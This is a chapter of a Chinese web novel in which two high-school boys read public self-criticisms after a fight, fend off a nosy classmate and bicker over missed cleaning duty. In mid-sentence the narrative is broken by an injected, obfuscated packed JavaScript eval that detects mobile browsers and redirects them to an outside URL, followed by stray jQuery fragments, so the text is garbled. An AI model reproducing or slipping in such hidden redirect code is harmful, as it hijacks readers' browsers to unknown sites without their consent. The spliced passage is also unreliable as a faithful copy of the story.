升国旗奏国歌之后又是领导讲话环节。
这次上来的是胡主任,他是分管高三的教导主任。胡主任一上台,大家就知道这是给高三各位训话来了。
“下面我来强调一下!”胡主任拿着话筒的声音突然拔高,吓得某些昏昏欲睡的同学一个激灵。
“大家一定要谨言慎行,没有什么东西比生命更宝贵,有事情可以找老师找家长,打架斗殴是最不可取的行为!”
“尤其是高三的同学!”胡主任的目光威严地扫过操场,隔着老远的距离,精准锁定了高三一班最后排,“下面,请高三一班的严序和叶煌同学上台作出检讨。”
操场瞬间炸开了锅,窃窃私语的八卦随着晨风从高三区域扩散到整个操场。
“卧槽,序哥又干嘛了?”
“这次怎么还带个新人?”
“貌似是转学生……”
“序哥该不会把新来的打了吧?”
“不像,如果是单方面殴打,老胡不可能让苦主也上台。”
严序大摇大摆往升旗台走。
叶煌紧随其后,沉默不语。
两人上周就被通知过要在升旗仪式上当众检讨。
虽然黄毛彪子那件事被压了下来,没有大范围传播,但铁面无私胡主任还是觉得有必要给两位刺头一个深刻的教训。
当然,教训是给到了,但鉴于严序同学整个高中生涯没少当众念检讨,深不深刻就见仁见智。
严序清了清嗓子,从兜里掏出一张皱皱巴巴的纸,把这张堪比紫菜干的检讨书展平:“尊敬的老师,亲爱的同学们……”
“由于我和三名校外人员发生肢体冲突,对方怀恨在心,闯入校内……”
“……我深刻认识到打架是不对的,不仅违反了校规,连累了同学,还影响了校园和谐。”
严序三下五除二念完,把位置让给叶煌。
与严序吊儿郎当的态度不同,叶煌站得笔直,声音清晰:“对于上周发生的事情,我在此做出郑重检讨……”
严序站在台下,饶有兴趣地观察叶煌。
这家伙念检讨跟念课文似的,一字一句,每个音节都咬得特别认真,表情还相当严肃。
“……我会以此为戒,今后严格遵守校规校纪,绝不再犯。”叶煌终于念完最后一个字,面色平静地走下台,站在严序旁边。
听完俩人检讨,操场上的同学们云里雾里,又开始忍不住小声八卦。
“什么意思,我咋没听懂,到底谁打谁?”
“笨,是严序打了校外的混混,然后混混来学校报仇,不知道哪根筋搭错了,和叶煌打起来了。”
“然后呢,叶煌是输了还是赢了?”
“他没说,但是都来检讨了,肯定打赢了。”
胡主任接过话筒,又开始了他的长篇大论,在强调完不知道第几个“一定要特别注意”之后,终于散会了。
严序伸个懒腰,扭扭脖子:“可算结束了,这老胡越来越啰嗦。”
叶煌扫他一眼:“如果你的检讨能真情实感一点,估计胡主任会少说几句。”
“我那是简洁精炼好不好!”
严序突然想起什么,一下子来劲了:“不对,咱俩得掰扯掰扯,你那份检讨也是我写的,怎么还反过来嫌弃上我了?”
叶煌一下子噎住,显然是把这茬给忘了。
严序乐得见牙不见眼,勾住叶煌的脖子,得瑟道:“算了,爷大人有大量,不跟你计较这个。”
两个人的皮肤贴在一起,虽然只是手臂和脖颈,但叶煌还是瞬间僵住,挣了一下。
“起开。”
“起开就起开。”严序嘁了一声,“谁稀罕搂你似的。”
“序哥!”几个别的班的男生围了过来。
其中有一个和严序最能说得上话的,叫王宽,九班的学生。
“什么情况啊?”王宽视线一转,看向叶煌,“这就是新来的兄弟?”
这么瘦这么白,看起来不像特别能打的啊?
叶煌厌恶王宽毫不遮掩的打量,便想走开。
但对方不依不饶,伸手就想搭他的肩膀。
“别走啊兄弟,都是序哥的朋友,认识认识呗。”
谁知叶煌压根不搭理,侧身绕开,头也不回地直接走了,连一个眼神都吝啬留给对方。
王宽惊呆了,这和无视有什么区别?
想他王宽虽然不像严序那么风云人物,在学校一呼百应,但也算有点威信,谁不给他几分面子?
可这新来的就这么明目张胆地无视他?
王宽脸色特别难看,但又拿不准严序的意思,试探道:“序哥,这兄弟……一直这么傲?”
严序漫不经心道:“是啊,一直这么傲。”
王宽:“他什么路数,一新来的敢这么狂!”
严序:“你管他什么路数,他和你又不是一路人。”
王宽咬着牙根没说话,但他看向叶煌背影的眼神,已经暴露了他的心思。
严序轻飘飘地瞥他一眼:“行了,别自不量力。”
王宽有些难以置信:“我自不量力?我们班女生追的那些小爱豆都比他壮,我还能打不过他?”
好言难劝找死的鬼。
严序冷了脸:“别怪我没提醒你,招子放亮点,别去自讨苦吃。”
王宽咬了咬牙:“知道了。”
……
离开操场,严序去抽了根烟,等他回到教室时,早读已经结束,第一节课快要开始了。
物理课,听不懂。
严序伸了伸懒腰,趴在桌上,打算补一觉。
顾寻也不知道突发什么恶疾,非要让他去家里住一个星期,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835684|175669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
早晨六点钟不到就起床,起就起吧,还非要把他也薅起来,就为了顺路送他一起上学。
顾寻是班主任,需要早一些到学校,但他又不用。
他只是平平无奇一学渣,学渣那么积极早起上学图什么?
严序为了多睡一会儿,主动要求自己上学,不用人送。
但是顾寻偏偏让叶煌喊他起床,时间一到,叶煌站在房间门口,也不说话,就那么冷冰冰地,轻蔑地看着他。
用那种女王看loser的眼神。
严序叹了口气,简直活受罪。
……
上课铃响了。
严序睡眼朦胧,眯着眼睛看见叶煌从后门进来,回到座位坐下。
严序从睡意中打起了一两分精神:“踩点进教室,你堕落了。”
叶煌冷笑一声:“你怎么不问问我干什么去了,为什么差点迟到。”
“所以你干什么去了?”
叶煌打开手机,把群文件里的值日生安排表给他看。
星期一:
走廊地面——负责人叶煌、严序
教室窗户——负责人叶煌、严序
教室地面——负责人叶煌、严序
黑板讲台——负责人叶煌、严序
垃圾桶——负责人叶煌、严序
不只星期一,接下来每天都是如此。
“卧槽!”严序瞳孔地震,“腾”地一下垂死梦中惊坐起,“我忘了咱俩被罚了两个星期值日!”
“完蛋了我这个狗啃脑子!”
“怎么就能忘得一干二净!”
“你怎么不给我打电话啊!”
严序崩溃地拿出手机,一看,十个未接来电。
原来是他不知道什么时候按了静音模式。
“……”
严序艰难地咽了咽唾沫:“这么多活,你一个人,干完了?!”
“那倒不是,班长和我一起打扫的。”
“班长人挺好的,很有责任心。”叶煌根本不看严序,自顾自拿出上课要用的教材摆在桌上,“不像某些人——”
叶煌终于冷淡地瞥来一眼:“不靠谱。”
“那个,不是、我那个……”严序已然理亏到大脑空空,语无伦次半天也没说出什么。
最后自暴自弃地把脑门抵在桌面上,试图以头戕桌。
前座的徐微也不知道听见了多少,鬼鬼祟祟扭过头。
“哥,这事儿很好解决啊,你把叶煌手机号设置成特殊联系人就行。”
严序:“你懂个屁,这跟联系人有什么关系?”
“特殊联系人在静音模式下也可以响铃,这不完美符合你们俩的情况吗?”
说罢,徐微看看郁卒的严序,又看看冷淡的叶煌,想了想:“不过,这么一来感觉好暧昧哦……嗯……好像不太合适。”